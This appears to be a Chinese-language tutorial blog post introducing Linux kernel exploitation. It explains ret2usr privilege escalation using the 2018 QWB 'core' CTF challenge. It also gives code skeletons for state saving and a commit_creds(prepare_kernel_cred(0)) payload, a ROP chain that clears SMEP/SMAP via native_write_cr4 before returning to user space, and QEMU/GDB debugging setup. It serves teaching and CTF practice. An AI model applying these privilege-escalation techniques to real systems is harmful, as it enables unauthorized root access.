写在前面欢迎进入内核PWN的世界经过用户态漏洞利用的淬炼我们终于踏入Ring 0的领域。内核漏洞利用与用户态截然不同——它不再是远程getshell而是本地提权。今天我们将从最经典的ret2usr攻击开始理解内核与用户空间的权限边界并学习如何绕过SMEP/SMAP保护机制。这是内核PWN的基石掌握它你才能理解现代内核漏洞利用的演进脉络。 目录内核PWN概述与用户态的本质区别内核漏洞类型与利用模型ret2usr攻击原理与实战SMEP/SMAP保护机制与绕过策略内核环境搭建与调试入门总结与下篇预告1. 内核PWN概述与用户态的本质区别1.1 权限模型Ring 0 vs Ring 3现代x86 CPU提供4个特权级别Ring 0-3但Linux只使用两个Ring 0内核态拥有完全硬件访问权限执行内核代码Ring 3用户态受限访问执行应用程序内核漏洞利用的核心目标从Ring 3提升到Ring 0获取root权限yisu.com。1.2 漏洞形态差异特性用户态PWN内核PWN漏洞位置程序自身、libc等内核镜像、驱动模块利用目标获取shell提权获取root shell常见漏洞栈溢出、堆UAF栈溢出、UAF、竞态条件保护机制NX、Canary、ASLRSMEP、SMAP、KASLR、KPTI调试方式GDB直接调试QEMUGDB远程调试1.3 内核PWN基本流程漏洞触发信息泄露构造ROP链/ret2usr提权commit_credsprepare_kernel_cred返回用户态执行getshell2. 内核漏洞类型与利用模型2.1 常见内核漏洞类型栈溢出内核栈空间有限通常8KB溢出易导致崩溃UAF漏洞内核对象生命周期管理复杂UAF常见竞态条件内核多线程环境TOCTOU漏洞高发整数溢出内核计算复杂整数处理错误多任意地址读写通常由其他漏洞转化而来2.2 内核漏洞利用模型与用户态类似但目标不同用户态控制RIP执行shellcode或ROP链内核态控制RIP执行提权原语安全返回用户态提权原语// 经典提权函数序列 commit_creds(prepare_kernel_cred(0));prepare_kernel_cred(0)创建一个root权限的凭证commit_creds()将凭证应用到当前进程3. ret2usr攻击原理与实战3.1 攻击原理ret2usr利用了一个关键特性内核空间可以访问用户空间数据cnblogs.com1。攻击者将内核执行流劫持到用户空间预布置的函数以Ring 0权限执行提权代码。攻击流程在用户空间布置提权函数触发内核漏洞控制内核RIP跳转到用户空间函数执行提权通过swapgs; iretq安全返回用户态执行system(/bin/sh)获取root shell3.2 实战案例2018强网杯core以经典内核题core为例cnblogs.com1漏洞分析core_ioctl提供三个功能0x6677889Bcore_read存在信息泄露可泄露canary0x6677889C设置off变量控制读取偏移0x6677889Acore_copy_func存在栈溢出利用步骤// 1. 保存用户态寄存器状态 void save_status() { __asm__(mov user_cs, cs; mov user_ss, ss; mov user_sp, rsp; pushf; pop user_rflags;); } // 2. 用户空间提权函数 void beroot() { char* (*func1)(int) prepare_kernel_cred; void (*func2)(char*) commit_creds; (*func2)((*func1)(0)); } // 3. 利用栈溢出劫持RIP到beroot // 通过core_read泄露canary // 通过core_copy_func溢出控制返回地址为beroot // 执行提权后返回用户态获取shell3.3 关键技术点状态保存必须保存用户态CS、SS、SP、RFLAGS用于后续返回地址泄露通过/proc/kallsyms或/tmp/kallsyms获取内核函数地址cnblogs.comCanary绕过通过信息泄露获取内核canary安全返回使用swapgs; iretq指令序列返回用户态4. SMEP/SMAP保护机制与绕过策略4.1 SMEP/SMAP简介随着ret2usr攻击的普及内核引入了SMEP和SMAP保护SMEP (Supervisor Mode Execution Prevention)禁止内核态执行用户空间代码csdn.net1SMAP (Supervisor Mode Access Prevention)禁止内核态访问用户空间数据cnblogs.com控制寄存器CR4寄存器的第20位控制SMEPkanxue.comCR4寄存器的第21位控制SMAP4.2 绕过策略对比绕过方法原理适用场景难度修改CR4清除SMEP/SMAP位低版本内核★☆☆ROP链内核空间构造ROP所有版本★★☆ret2dir使用物理内存直接映射特定内核配置★★★4.3 SMEP绕过实战修改CR4在低版本内核如4.4.x中可通过ROP链修改CR4寄存器; 1. 寻找native_write_cr4函数或类似gadget ; 2. 构造ROP链清除SMEP位 mov rdi, 0x6f0 ; 新CR4值清除SMEP和SMAP call native_write_cr4 ; 3. 然后继续ret2usr攻击示例ROP链# 假设已泄露vmlinux基址 pop_rdi vmlinux_base 0xXXXX # pop rdi; ret native_write_cr4 vmlinux_base 0xYYYY # native_write_cr4 rop_chain [ pop_rdi, 0x6f0, # 新CR4值 native_write_cr4, # 清除SMEP beroot_addr, # 用户空间提权函数 # 返回用户态序列 swapgs_pop_rbp_ret, # swapgs; pop rbp; ret 0, # 占位 iretq_addr, # iretq user_cs, user_rflags, user_sp, user_ss ]4.4 SMAP绕过策略SMAP绕过比SMEP更复杂常见方法使用内核数据避免访问用户空间数据使用内核已有数据结构物理内存映射利用physmap区域将用户数据映射到内核空间cnblogs.com竞态条件在SMAP检查和访问之间创造时间窗口5. 内核环境搭建与调试入门5.1 QEMU启动脚本分析典型内核题启动脚本csdn.net1#!/bin/bash qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append consolettyS0 root/dev/ram rw oopspanic panic1 quiet kaslr \ -s \ # 启用GDB调试端口1234 -cpu kvm64,smep,smap \ # 启用SMEP/SMAP -nographic \ -no-reboot关键参数-kernel指定内核镜像-initrd指定根文件系统-s启用GDB服务器端口1234-cpu设置CPU特性smep, smap-append内核启动参数nokaslr禁用KASLR5.2 GDB调试配置启动QEMU并等待GDB连接# 终端1启动QEMU ./start.sh # 终端2连接GDB gdb vmlinux (gdb) target remote :1234 (gdb) break start_kernel (gdb) continue加载模块符号kernel.org1# 获取模块加载地址 cat /sys/module/vuln_module/sections/.text # 在GDB中加载符号 add-symbol-file vuln.ko 0xffffffffc0000000 -s .data 0xffffffffc0010000 -s .bss 0xffffffffc00200005.3 调试技巧关闭KASLR添加nokaslr参数便于调试设置断点break *0xffffffff81000000物理地址查看内存x/16xw 0xffff880000000000内核虚拟地址单步执行stepi指令级单步6. 综合利用流程图否是否是内核漏洞触发是否开启SMEP?ret2usr直接攻击是否开启SMAP?ROP修改CR4绕过SMEP构造内核ROP链用户空间布置提权函数内核空间构造ROP链劫持内核执行流执行commit_credsprepare_kernel_credswapgs; iretq返回用户态执行getshell7. 总结与下篇预告7.1 核心知识点总结ret2usr攻击利用内核可访问用户空间的特性将执行流劫持到用户空间提权SMEP/SMAP保护内核态禁止执行/访问用户空间代码/数据SMEP绕过通过修改CR4寄存器或内核ROP链绕过内核调试QEMUGDB远程调试加载模块符号表安全返回swapgs; iretq指令序列从内核态安全返回用户态7.2 下篇预告在下一篇中我们将深入探讨内核ROP链构造内核空间gadget寻找使用ROPgadget/ropper提取内核gadgetKPTI保护绕过页表隔离对内核漏洞利用的影响ret2dir攻击利用物理内存直接映射绕过SMEP/SMAP实战案例以CISCN2017 babydriver为例展示完整内核ROP链构造结语内核PWN是漏洞利用的巅峰领域它要求你不仅理解漏洞本身还要深入操作系统内核机制。ret2usr虽然简单但它揭示了内核与用户空间权限边界的本质。随着防护机制的演进内核漏洞利用越来越复杂但理解ret2usr是理解所有现代内核利用技术的基础。下篇我们将进入内核ROP的深水区一起探索如何在内核空间构造复杂的攻击链。